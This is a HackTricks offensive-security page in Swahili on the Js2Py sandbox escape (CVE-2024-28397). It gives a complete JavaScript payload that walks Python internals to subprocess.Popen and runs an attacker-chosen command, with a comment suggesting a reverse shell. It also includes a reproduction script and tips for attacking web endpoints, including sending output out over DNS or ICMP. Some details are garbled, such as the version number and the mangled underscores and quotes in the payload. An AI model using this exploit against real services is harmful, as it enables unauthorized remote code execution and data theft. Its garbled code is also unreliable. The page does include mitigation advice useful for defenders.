Js2Py sandbox escape (CVE-2024-28397)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Js2Py hubadilisha JavaScript kuwa Python objects, kwa hivyo hata wakati js2py.disable_pyimport() inatumiwa, JS isiyo ya kuaminika inaweza kupitia miundo ya ndani ya Python kufikia madarasa hatari kama subprocess.Popen. Matoleo 20.74 yanaruhusu kutumiwa kwa primitives za reflection za Python ambazo Js2Py inaonyesha kwa vitu vya JS ili kupata RCE kutoka kwa JavaScript iliyokuwa “sandboxed”.

Primitive: pivot kutoka kwa JS object wrappers hadi Python objects

  1. Pata object inayounga mkono na Python: Object.getOwnPropertyNames({}) inarudisha kitu cha dict_keys katika muktadha wa Python.
  2. Rejesha upatikanaji wa attribute: chukua .__getattribute__ kutoka kwa object hiyo na iite ili kusoma attributes yoyote (mfano, "__class__").
  3. Panda hadi object: kutoka <class 'dict_keys'> soma .__base__ ili kufikia base ya Python object.
  4. Orodhesha madarasa yaliyopakiwa: iteleza object.__subclasses__() ili kutembea kila class tayari iliyopakiwa katika interpreter.
  5. Tafuta subprocess.Popen: tafuta kwa kurudia subclasses ambapo __module__ == "subprocess" na __name__ == "Popen".
  6. Tekeleza amri: tengeneza Popen kwa arguments zinazoendeshwa na mshambuliaji na itumie .communicate() ili kukamata output.
Mfano wa payload inayotumia Js2Py kufikia subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

Kwa nini hili linafanya kazi: Js2Py inaonyesha wrappers za Python object kwa JS bila kuondoa `__getattribute__`, `__class__`, `__base__`, au `__subclasses__`. `disable_pyimport()` inazuia tu `pyimport` waziwazi, lakini mnyororo ulio hapo juu hauwahi kuingiza chochote kipya; unatumia tena modules na classes zilizopakiwa tayari katika memory.

## Kurudia mnyororo kwenye kompyuta ya ndani
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Kufanya operesheni dhidi ya web sandboxes

  • Kila endpoint inayolisha JS inayodhibitiwa na mshambuliaji ndani ya js2py.eval_js (kwa mfano, Flask /run_code API) ni mara moja RCE ikiwa mtumiaji wa process ana ufikiaji wa shell.
  • Kurudisha jsonify({'result': result}) kutashindwa wakati .communicate() inarudisha bytes; fanya decode au tuma output moja kwa moja kwa DNS/ICMP ili kuepuka vikwazo vya serialization.
  • disable_pyimport() haitoshi kukomesha mnyororo huu; hard isolation (separate process/container) au kuondoa uendeshaaji wa Js2Py kwa code isiyoaminika inahitajika.

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks